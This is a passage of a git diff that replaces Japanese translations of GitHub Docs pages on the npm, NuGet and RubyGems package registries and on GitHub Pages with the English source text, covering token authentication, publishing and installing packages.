%}*OWNER* with the name of the user or organization account that owns the repository containing your project. {% ifversion ghes %} -パッケージの作成に関する詳しい情報については[maven.apache.orgのドキュメンテーション](https://maven.apache.org/guides/getting-started/maven-in-five-minutes.html)を参照してください。 +If your instance has subdomain isolation enabled: {% endif %} ```shell @@ -202,7 +199,7 @@ By default, you can only use npm packages hosted on your enterprise, and you wil ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```shell @OWNER:registry=https://HOSTNAME/_registry/npm @@ -211,11 +208,11 @@ By default, you can only use npm packages hosted on your enterprise, and you wil {% endif %} {% ifversion ghes %} -## 公式NPMレジストリを使用する +## Using the official NPM registry -{% data variables.product.prodname_registry %}では、{% data variables.product.prodname_ghe_server %}管理者がこの機能を有効化している場合、`registry.npmjs.com`の公式NPMにアクセスできます。 詳しい情報については、[公式NPMレジストリに接続する](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry)」を参照してください。 +{% data variables.product.prodname_registry %} allows you to access the official NPM registry at `registry.npmjs.com`, if your {% data variables.product.prodname_ghe_server %} administrator has enabled this feature. For more information, see [Connecting to the official NPM registry](/admin/packages/configuring-packages-support-for-your-enterprise#connecting-to-the-official-npm-registry). {% endif %} -## 参考リンク +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md index 0cf542ad78..347a099de3 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md @@ -1,6 +1,6 @@ --- -title: NuGetレジストリの利用 -intro: '{% data variables.product.prodname_registry %} にNuGetパッケージを公開し、{% data variables.product.prodname_registry %} に保存されたパッケージを依存関係として .Net プロジェクトで利用するよう`dotnet`コマンドラインインターフェース（CLI）を設定できます。' +title: Working with the NuGet registry +intro: 'You can configure the `dotnet` command-line interface (CLI) to publish NuGet packages to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a .NET project.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-nuget-for-use-with-github-package-registry @@ -14,21 +14,21 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: NuGetレジストリ +shortTitle: NuGet registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} -### {% data variables.product.prodname_actions %}における`GITHUB_TOKEN`での認証 +### Authenticating with `GITHUB_TOKEN` in {% data variables.product.prodname_actions %} -リポジトリ内のnuget.configファイル内のハードコードされたトークンの代わりに`GITHUB_TOKEN`を使って{% data variables.product.prodname_actions %}ワークフロー内で{% data variables.product.prodname_registry %}の認証を受けるには、以下のコマンドを使ってください。 +Use the following command to authenticate to {% data variables.product.prodname_registry %} in a {% data variables.product.prodname_actions %} workflow using the `GITHUB_TOKEN` instead of hardcoding a token in a nuget.config file in the repository: ```shell dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB_TOKEN }}{% endraw %} --store-password-in-clear-text --name github "https://{% ifversion fpt or ghec %}nuget.pkg.github.com{% else %}nuget.HOSTNAME{% endif %}/OWNER/index.json" @@ -36,19 +36,19 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB {% data reusables.package_registry.authenticate-packages-github-token %} -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -`dotnet`コマンドラインインターフェース（CLI）で{% data variables.product.prodname_registry %}に認証を受けるには、プロジェクトディレクトリに*nuget.config*ファイルを作成し、{% data variables.product.prodname_registry %}をソースとして`dotnet` CLIクライアントの`packageSources`の下に指定してください。 +To authenticate to {% data variables.product.prodname_registry %} with the `dotnet` command-line interface (CLI), create a *nuget.config* file in your project directory specifying {% data variables.product.prodname_registry %} as a source under `packageSources` for the `dotnet` CLI client. -以下のように置き換えてください。 -- `USERNAME`を{% data variables.product.prodname_dotcom %}上のユーザアカウント名で。 -- `TOKEN`を個人アクセストークンで。 -- `OWNER` を、プロジェクトを含むリポジトリを所有しているユーザまたはOrganizationアカウント名で。{% ifversion ghes or ghae %} -- `HOSTNAME` を、{% data variables.product.product_location %}インスタンスのホスト名で。{% endif %} +You must replace: +- `USERNAME` with the name of your user account on {% data variables.product.prodname_dotcom %}. +- `TOKEN` with your personal access token. +- `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes or ghae %} +- `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} -{% ifversion ghes %}インスタンスでSubdomain Isolationが有効化されている場合: +{% ifversion ghes %}If your instance has subdomain isolation enabled: {% endif %} ```xml @@ -68,44 +68,43 @@ dotnet nuget add source --username USERNAME --password {%raw%}${{ secrets.GITHUB ``` {% ifversion ghes %} -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +If your instance has subdomain isolation disabled: ```xml - - - - Exe - netcoreapp3.0 - OctodogApp - 1.0.0 - Octodog - GitHub - This package adds an Octodog! - https://github.com/octo-org/octo-cats-and-dogs - - - + + + + + + + + + + + + + ``` {% endif %} -## パッケージを公開する +## Publishing a package You can publish a package to {% data variables.product.prodname_registry %} by authenticating with a *nuget.config* file, or by using the `--api-key` command line option with your {% data variables.product.prodname_dotcom %} personal access token (PAT). -### GitHub PATをAPIキーとして使用してパッケージを公開する +### Publishing a package using a GitHub PAT as your API key If you don't already have a PAT to use for your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -1. 新しいプロジェクトを作成してください。 +1. Create a new project. ```shell dotnet new console --name OctocatApp ``` -2. プロジェクトをパッケージ化してください。 +2. Package the project. ```shell dotnet pack --configuration Release ``` -3. PATをAPIキーとして使用して、パッケージを公開します。 +3. Publish the package using your PAT as the API key. ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --api-key YOUR_GITHUB_PAT --source "github" ``` @@ -113,20 +112,20 @@ If you don't already have a PAT to use for your account on {% ifversion ghae %}{ {% data reusables.package_registry.viewing-packages %} -### *nuget.config*ファイルを使用してパッケージを公開する +### Publishing a package using a *nuget.config* file -公開の際には、*nuget.config*認証ファイルで使用する*csproj*ファイル中で、`OWNER`に同じ値を使わなければなりません。 *.csproj*ファイル中でバージョン番号を指定もしくはインクリメントし、`dotnet pack`コマンドを使ってそのバージョンのための*.nuspec*ファイルを作成してください。 パッケージの作成に関する詳しい情報については、Microsoftのドキュメンテーション中の「[クイック スタート: パッケージの作成と公開 (dotnet CLI)](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)」を参照してください。 +When publishing, you need to use the same value for `OWNER` in your *csproj* file that you use in your *nuget.config* authentication file. Specify or increment the version number in your *.csproj* file, then use the `dotnet pack` command to create a *.nuspec* file for that version. For more information on creating your package, see "[Create and publish a package](https://docs.microsoft.com/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. 新しいプロジェクトを作成してください。 +2. Create a new project. ```shell dotnet new console --name OctocatApp ``` -3. プロジェクト固有の情報をプロジェクトファイルに追加してください。プロジェクトファイルは*.csproj*で終わります。 以下のように置き換えてください。 - - `OWNER`を、プロジェクトを含むリポジトリを所有しているユーザもしくはOrganizationアカウント名で。 - - `REPOSITORY`を、公開したいパッケージを含むリポジトリの名前で。 - - `1.0.0`をパッケージのバージョン番号で。{% ifversion ghes or ghae %} - - `HOSTNAME` を、{% data variables.product.product_location %}インスタンスのホスト名で。{% endif %} +3. Add your project's specific information to your project's file, which ends in *.csproj*. You must replace: + - `OWNER` with the name of the user or organization account that owns the repository containing your project. + - `REPOSITORY` with the name of the repository containing the package you want to publish. + - `1.0.0` with the version number of the package.{% ifversion ghes or ghae %} + - `HOSTNAME` with the host name for {% data variables.product.product_location %}.{% endif %} ``` xml @@ -143,23 +142,23 @@ If you don't already have a PAT to use for your account on {% ifversion ghae %}{ ``` -4. プロジェクトをパッケージ化してください。 +4. Package the project. ```shell dotnet pack --configuration Release ``` -5. *nuget.config*ファイル中で指定した`key`を使ってパッケージを公開してください。 +5. Publish the package using the `key` you specified in the *nuget.config* file. ```shell dotnet nuget push "bin/Release/OctocatApp.1.0.0.nupkg" --source "github" ``` {% data reusables.package_registry.viewing-packages %} -## 同じリポジトリへの複数パッケージの公開 +## Publishing multiple packages to the same repository -複数のパッケージを同じリポジトリに公開するには、同じ{% data variables.product.prodname_dotcom %}リポジトリURLをすべての*.csproj*プロジェクトファイル中の`RepositoryURL`フィールドに含めることができます。 {% data variables.product.prodname_dotcom %}は、そのフィールドに基づいてリポジトリをマッチします。 +To publish multiple packages to the same repository, you can include the same {% data variables.product.prodname_dotcom %} repository URL in the `RepositoryURL` fields in all *.csproj* project files. {% data variables.product.prodname_dotcom %} matches the repository based on that field. -たとえば、以下の*OctodogApp*と*OctocatApp*は同じリポジトリに公開されます。 +For example, the *OctodogApp* and *OctocatApp* projects will publish to the same repository: ``` xml @@ -195,13 +194,13 @@ If you don't already have a PAT to use for your account on {% ifversion ghae %}{ ``` -## パッケージをインストールする +## Installing a package -プロジェクトで{% data variables.product.prodname_dotcom %}からパッケージを利用するのは、*nuget.org*からパッケージを使用するのに似ています。 パッケージの依存関係を*.csproj*ファイルに追加し、パッケージ名とバージョンを指定してください。 プロジェクトでの*.csproj*ファイルの利用に関する詳しい情報については、Microsoftのドキュメンテーションの「[パッケージ利用のワークフロー](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)」を参照してください。 +Using packages from {% data variables.product.prodname_dotcom %} in your project is similar to using packages from *nuget.org*. Add your package dependencies to your *.csproj* file, specifying the package name and version. For more information on using a *.csproj* file in your project, see "[Working with NuGet packages](https://docs.microsoft.com/nuget/consume-packages/overview-and-workflow)" in the Microsoft documentation. {% data reusables.package_registry.authenticate-step %} -2. パッケージを利用するには、*.csproj*プロジェクトファイルに`ItemGroup`を追加し、`PackageReference`フィールドを設定してください。`OctokittenApp`パッケージをパッケージの依存関係で、`1.0.0`を使いたいバージョンで置き換えてください。 +2. To use a package, add `ItemGroup` and configure the `PackageReference` field in the *.csproj* project file, replacing the `OctokittenApp` package with your package dependency and `1.0.0` with the version you want to use: ``` xml @@ -223,15 +222,15 @@ If you don't already have a PAT to use for your account on {% ifversion ghae %}{ ``` -3. `restore`コマンドでパッケージをインストールしてください。 +3. Install the packages with the `restore` command. ```shell dotnet restore ``` -## トラブルシューティング +## Troubleshooting -*.csproj*内の`RepositoryUrl`が期待されるリポジトリに設定されていない場合、NuGetパッケージのプッシュに失敗するかもしれません。 +Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository . -## 参考リンク +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md index be85631482..7afbca5c42 100644 --- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md +++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md @@ -1,6 +1,6 @@ --- -title: RubyGemsレジストリの利用 -intro: '{% data variables.product.prodname_registry %} にパッケージを公開し、{% data variables.product.prodname_registry %} に保存されたパッケージを依存関係としてBundlerを使うRubyのプロジェクトで利用するよう、RubyGemsを設定できます。' +title: Working with the RubyGems registry +intro: 'You can configure RubyGems to publish a package to {% data variables.product.prodname_registry %} and to use packages stored on {% data variables.product.prodname_registry %} as dependencies in a Ruby project with Bundler.' product: '{% data reusables.gated-features.packages %}' redirect_from: - /articles/configuring-rubygems-for-use-with-github-package-registry @@ -13,65 +13,66 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: RubyGemsレジストリ +shortTitle: RubyGems registry --- {% data reusables.package_registry.packages-ghes-release-stage %} {% data reusables.package_registry.packages-ghae-release-stage %} -{% data reusables.package_registry.default-name %} たとえば、{% data variables.product.prodname_dotcom %}は`OWNER/test`というリポジトリ内の`com.example:test`という名前のパッケージを公開します。 +{% data reusables.package_registry.admins-can-configure-package-types %} -## 必要な環境 +## Prerequisites -- rubygems 2.4.1 以上. rubygemsのバージョンは以下のようにすればわかります。 +- You must have rubygems 2.4.1 or higher. To find your rubygems version: ```shell $ gem --version ``` -- Bundler 1.6.4 以上. Bundlerのバージョンは以下のようにすれば分かります。 +- You must have bundler 1.6.4 or higher. To find your Bundler version: ```shell $ bundle --version Bundler version 1.13.7 ``` -- 複数の認証情報を扱うには、keycutter をインストールしてください. keycutterは以下のようにすればインストールできます。 +- Install keycutter to manage multiple credentials. To install keycutter: ```shell $ gem install keycutter ``` -## {% data variables.product.prodname_registry %} への認証を行う +## Authenticating to {% data variables.product.prodname_registry %} {% data reusables.package_registry.authenticate-packages %} {% data reusables.package_registry.authenticate-packages-github-token %} -### 個人アクセストークンでの認証 +### Authenticating with a personal access token {% data reusables.package_registry.required-scopes %} -gemの公開なら*~/.gem/credentials*ファイルを編集することで、単一のgemのインストールなら*~/.gemrc*ファイルを編集することで、Bundlerを使って1つ以上のgemを追跡してインストールするなら*~/.gemrc*ファイルを編集することで、RubyGemsで{% data variables.product.prodname_registry %}に認証を受けることができます。 +You can authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing the *~/.gem/credentials* file for publishing gems, editing the *~/.gemrc* file for installing a single gem, or using Bundler for tracking and installing one or more gems. -新しいgemsを公開するには、*~/.gem/credentials*ファイルを編集して個人アクセストークンを含めることによって、RubyGemsで{% data variables.product.prodname_registry %}に認証を受けなければなりません。 *~/.gem/credentials*ファイルが存在しない場合、新しく作成してください。 +To publish new gems, you need to authenticate to {% data variables.product.prodname_registry %} with RubyGems by editing your *~/.gem/credentials* file to include your personal access token. Create a new *~/.gem/credentials* file if this file doesn't exist. -たとえば、*~/.gem/credentials*を作成もしくは編集して、以下を含めてください。*TOKEN*は個人アクセストークンで置き換えてください。 +For example, you would create or edit a *~/.gem/credentials* to include the following, replacing *TOKEN* with your personal access token. ```shell -gem.metadata = { "github_repo" => "ssh://github.com/OWNER/REPOSITORY" } +--- +:github: Bearer TOKEN ``` -To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. 以下のように置き換えてください。 - - `USERNAME`を{% data variables.product.prodname_dotcom %}のユーザ名で。 - - `TOKEN`を個人アクセストークンで。 - - `OWNER` を、プロジェクトを含むリポジトリを所有しているユーザまたはOrganizationアカウント名で。{% ifversion ghes %} - - `REGISTRY-URL` をインスタンスの Rubygems レジストリの URL で。 インスタンスで Subdomain Isolation が有効になっている場合は、`rubygems.HOSTNAME` を使用します。 インスタンスで Subdomain Isolation が無効になっている場合は、`HOSTNAME/_registry/rubygems` を使用します。 いずれの場合でも、 *HOSTNAME* を {% data variables.product.prodname_ghe_server %} インスタンスのホスト名に置き換えてください。 +To install gems, you need to authenticate to {% data variables.product.prodname_registry %} by editing the *~/.gemrc* file for your project to include `https://USERNAME:TOKEN@{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER/`. You must replace: + - `USERNAME` with your {% data variables.product.prodname_dotcom %} username. + - `TOKEN` with your personal access token. + - `OWNER` with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} + - `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance. {% elsif ghae %} - - `REGISTRY-URL` をインスタンスの Rubygems レジストリである `rubygems.HOSTNAME` のURL で。 *HOSTNAME* を {% data variables.product.product_location %} のホスト名で。 + - `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}. {% endif %} -*~/.gemrc*ファイルがないなら、以下の例を使って新しい*~/.gemrc*ファイルを作成してください。 +If you don't have a *~/.gemrc* file, create a new *~/.gemrc* file using this example. ```shell --- @@ -85,24 +86,24 @@ To install gems, you need to authenticate to {% data variables.product.prodname_ ``` -Bundlerで認証を受けるには、個人アクセストークンを使うようにBundlerを設定してください。 *USERNAME*を{% data variables.product.prodname_dotcom %}のユーザ名で、*TOKEN*を個人アクセストークンで、*OWNER*をプロジェクトを含むリポジトリを所有しているユーザもしくはOrganizationアカウント名で置き換えます。{% ifversion ghes %}}`REGISTRY-URL` をインスタンスのRubygemsレジストリのURLで置き換えてください。 インスタンスで Subdomain Isolation が有効になっている場合は、`rubygems.HOSTNAME` を使用します。 インスタンスで Subdomain Isolation が無効になっている場合は、`HOSTNAME/_registry/rubygems` を使用します。 いずれの場合でも、 *HOSTNAME* を {% data variables.product.prodname_ghe_server %} インスタンスのホスト名に置き換えてください。{% elsif ghae %}`REGISTRY-URL` を、インスタンスの Rubygems レジストリの URL である `rubygems.HOSTNAME` に置き換えてください。 *HOSTNAME* を、{% data variables.product.product_location %} のホスト名に置き換えてください。{% endif %} +To authenticate with Bundler, configure Bundler to use your personal access token, replacing *USERNAME* with your {% data variables.product.prodname_dotcom %} username, *TOKEN* with your personal access token, and *OWNER* with the name of the user or organization account that owns the repository containing your project.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the hostname of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %}Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER USERNAME:TOKEN ``` -## パッケージを公開する +## Publishing a package -{% data reusables.package_registry.default-name %} たとえば、`octo-gem`を`octo-org`というOrganizationに公開するなら、{% data variables.product.prodname_registry %}はそのgemを`octo-org/octo-gem`リポジトリに公開します。 gem の作成に関する詳しい情報については、RubyGems ドキュメンテーションの「[gem の作成](http://guides.rubygems.org/make-your-own-gem/)」を参照してください。 +{% data reusables.package_registry.default-name %} For example, when you publish `octo-gem` to the `octo-org` organization, {% data variables.product.prodname_registry %} publishes the gem to the `octo-org/octo-gem` repository. For more information on creating your gem, see "[Make your own gem](http://guides.rubygems.org/make-your-own-gem/)" in the RubyGems documentation. {% data reusables.package_registry.viewing-packages %} {% data reusables.package_registry.authenticate-step %} -2. *gemspec*からパッケージをビルドして、*.gem*パッケージを作成してください。 +2. Build the package from the *gemspec* to create the *.gem* package. ```shell gem build OCTO-GEM.gemspec ``` -3. {% data variables.product.prodname_registry %}にパッケージを公開してください。 `OWNER`をプロジェクトを含むリポジトリを所有しているユーザもしくはOrganizationアカウント名で、`OCTO-GEM`をgemパッケージ名で置き換えます。{% ifversion ghes %}`REGISTRY-URL` をインスタンスのRubygemsレジストリのURLで置き換えてください。 インスタンスで Subdomain Isolation が有効になっている場合は、`rubygems.HOSTNAME` を使用します。 インスタンスで Subdomain Isolation が無効になっている場合は、`HOSTNAME/_registry/rubygems` を使用します。 いずれの場合でも、*HOSTNAME* を{% data variables.product.prodname_ghe_server %} インスタンスのホスト名に置き換えてください。{% elsif ghae %}`REGISTRY-URL` を、インスタンスの Rubygems レジストリの URL である `rubygems.HOSTNAME` に置き換えてください。 *HOSTNAME* を、{% data variables.product.product_location %} のホスト名に置き換えてください。{% endif %} +3. Publish a package to {% data variables.product.prodname_registry %}, replacing `OWNER` with the name of the user or organization account that owns the repository containing your project and `OCTO-GEM` with the name of your gem package.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```shell $ gem push --key github \ @@ -110,20 +111,20 @@ $ bundle config https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% els OCTO-GEM-0.0.1.gem ``` -## 同じリポジトリへの複数パッケージの公開 +## Publishing multiple packages to the same repository -複数のgemを同じリポジトリに公開したい場合は、{% data variables.product.prodname_dotcom %}リポジトリの`gem.metadata`にある`github_repo`フィールドに、URL を記述できます。 このフィールドを含めた場合、{% data variables.product.prodname_dotcom %} は、gem 名の代わりに、この値を元にしてリポジトリを照合します。{% ifversion ghes or ghae %}*HOSTNAME*を、{% data variables.product.product_location %} のホスト名に置き換えます。{% endif %} +To publish multiple gems to the same repository, you can include the URL to the {% data variables.product.prodname_dotcom %} repository in the `github_repo` field in `gem.metadata`. If you include this field, {% data variables.product.prodname_dotcom %} matches the repository based on this value, instead of using the gem name.{% ifversion ghes or ghae %} Replace *HOSTNAME* with the host name of {% data variables.product.product_location %}.{% endif %} ```ruby gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/OWNER/REPOSITORY" } ``` -## パッケージをインストールする +## Installing a package -{% data variables.product.prodname_registry %}からのgemsは、*rubygems.org*からのgemsを使うのと同じように利用できます。 {% data variables.product.prodname_dotcom %}ユーザあるいはOrganizationを*~/.gemrc*ファイルにソースとして追加するか、Bundlerを使って*Gemfile*を編集することによって、{% data variables.product.prodname_registry %}に認証を受けなければなりません。 +You can use gems from {% data variables.product.prodname_registry %} much like you use gems from *rubygems.org*. You need to authenticate to {% data variables.product.prodname_registry %} by adding your {% data variables.product.prodname_dotcom %} user or organization as a source in the *~/.gemrc* file or by using Bundler and editing your *Gemfile*. {% data reusables.package_registry.authenticate-step %} -1. Bundlerについては、{% data variables.product.prodname_dotcom %}ユーザもしくはOrganizationをソースとして*Gemfile*に追加して、この新しいソースからgemsをフェッチするようにしてください。 たとえば、指定したパッケージに対してのみ{% data variables.product.prodname_registry %}を使用する*Gemfile*に新しい`source`ブロックを追加できます。*GEM NAME*を {% data variables.product.prodname_registry %}からインストールするパッケージで、*OWNER*をインストールしたいgemを含むリポジトリを所有するユーザもしくはOrganizationで置き換えてください。{% ifversion ghes %}`REGISTRY-URL`をインスタンスのRubygemsレジストリのURLで置き換えてください。 インスタンスで Subdomain Isolation が有効になっている場合は、`rubygems.HOSTNAME` を使用します。 インスタンスで Subdomain Isolation が無効になっている場合は、`HOSTNAME/_registry/rubygems` を使用します。 いずれの場合でも、*HOSTNAME* を{% data variables.product.prodname_ghe_server %} インスタンスのホスト名に置き換えてください。{% elsif ghae %}`REGISTRY-URL` を、インスタンスの Rubygems レジストリの URL である `rubygems.HOSTNAME` に置き換えてください。 *HOSTNAME* を、{% data variables.product.product_location %} のホスト名に置き換えてください。{% endif %} +1. For Bundler, add your {% data variables.product.prodname_dotcom %} user or organization as a source in your *Gemfile* to fetch gems from this new source. For example, you can add a new `source` block to your *Gemfile* that uses {% data variables.product.prodname_registry %} only for the packages you specify, replacing *GEM NAME* with the package you want to install from {% data variables.product.prodname_registry %} and *OWNER* with the user or organization that owns the repository containing the gem you want to install.{% ifversion ghes %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry. If your instance has subdomain isolation enabled, use `rubygems.HOSTNAME`. If your instance has subdomain isolation disabled, use `HOSTNAME/_registry/rubygems`. In either case, replace *HOSTNAME* with the host name of your {% data variables.product.prodname_ghe_server %} instance.{% elsif ghae %} Replace `REGISTRY-URL` with the URL for your instance's Rubygems registry, `rubygems.HOSTNAME`. Replace *HOSTNAME* with the hostname of {% data variables.product.product_location %}.{% endif %} ```ruby source "https://rubygems.org" @@ -135,7 +136,7 @@ gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% end ``` -3. 1.7.0以前のバージョンのBundlerの場合、新しいグローバルな`source`を追加する必要があります。 Bundlerの利用に関する詳しい情報については[bundler.ioのドキュメンテーション](http://bundler.io/v1.5/gemfile.html)を参照してください。 +3. For Bundler versions earlier than 1.7.0, you need to add a new global `source`. For more information on using Bundler, see the [bundler.io documentation](http://bundler.io/v1.5/gemfile.html). ```ruby source "https://{% ifversion fpt or ghec %}rubygems.pkg.github.com{% else %}REGISTRY-URL{% endif %}/OWNER" @@ -145,11 +146,11 @@ gem.metadata = { "github_repo" => "ssh://{% ifversion fpt or ghec %}github.com{% gem "GEM NAME" ``` -4. パッケージをインストールしてください。 +4. Install the package: ```shell $ gem install octo-gem --version "0.1.1" ``` -## 参考リンク +## Further reading - "{% ifversion fpt or ghes > 3.0 or ghec %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}" diff --git a/translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md b/translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md index 546f2cda5c..dd40cb5a26 100644 --- a/translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md +++ b/translations/ja-JP/content/pages/getting-started-with-github-pages/about-github-pages.md @@ -1,5 +1,5 @@ --- -title: GitHub Pages について +title: About GitHub Pages intro: 'You can use {% data variables.product.prodname_pages %} to host a website about yourself, your organization, or your project directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}.' redirect_from: - /articles/what-are-github-pages/ @@ -20,107 +20,113 @@ topics: - Pages --- -## {% data variables.product.prodname_pages %} について +## About {% data variables.product.prodname_pages %} -{% data variables.product.prodname_pages %} は、{% data variables.product.product_name %} のリポジトリから HTML、CSS、および JavaScript ファイル を直接取得し、任意でビルドプロセスを通じてファイルを実行し、ウェブサイトを公開できる静的なサイトホスティングサービスです。 {% data variables.product.prodname_pages %} サイトの例については、[{% data variables.product.prodname_pages %} サンプル集](https://github.com/collections/github-pages-examples)で見ることができます。 +{% data variables.product.prodname_pages %} is a static site hosting service that takes HTML, CSS, and JavaScript files straight from a repository on {% data variables.product.product_name %}, optionally runs the files through a build process, and publishes a website. You can see examples of {% data variables.product.prodname_pages %} sites in the [{% data variables.product.prodname_pages %} examples collection](https://github.com/collections/github-pages-examples). {% ifversion fpt or ghec %} -{% data variables.product.prodname_dotcom %} の`github.io` ドメインまたはご自身のカスタムドメインで、サイトをホストできます。 詳細は「[{% data variables.product.prodname_pages %} でカスタムドメインを使用する](/articles/using-a-custom-domain-with-github-pages)」を参照してください。 +You can host your site on {% data variables.product.prodname_dotcom %}'s `github.io` domain or your own custom domain. For more information, see "[Using a custom domain with {% data variables.product.prodname_pages %}](/articles/using-a-custom-domain-with-github-pages)." {% endif %} {% ifversion fpt or ghec %} -{% data reusables.pages.about-private-publishing %} 詳しい情報については、「[{% data variables.product.prodname_pages %} サイトの可視性を変更する](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)」を参照してください。 +{% data reusables.pages.about-private-publishing %} For more information, see "[Changing the visibility of your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site)." {% endif %} -作成方法については、「[{% data variables.product.prodname_pages %} サイトを作成する](/articles/creating-a-github-pages-site)」を参照してください。 +To get started, see "[Creating a {% data variables.product.prodname_pages %} site](/articles/creating-a-github-pages-site)." {% ifversion fpt or ghes > 3.0 or ghec %} -Organizationのオーナーは、Organizationのリポジトリからの{% data variables.product.prodname_pages %}サイトの公開を無効化できます。 詳しい情報については「[Organizationの{% data variables.product.prodname_pages %}サイトの公開の管理](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)」を参照してください。 +Organization owners can disable the publication of {% data variables.product.prodname_pages %} sites from the organization's repositories. For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)." {% endif %} -## {% data variables.product.prodname_pages %} サイトの種類 +## Types of {% data variables.product.prodname_pages %} sites -{% data variables.product.prodname_pages %} サイトには、3 つの種類があります。プロジェクト、ユーザ、そして Organization です。 プロジェクトサイトは、JavaScript ライブラリやレシピ集など、{% data variables.product.product_name %} の特定のプロジェクトに関するものです。 User and organization sites are connected to a specific account on {% ifversion ghae 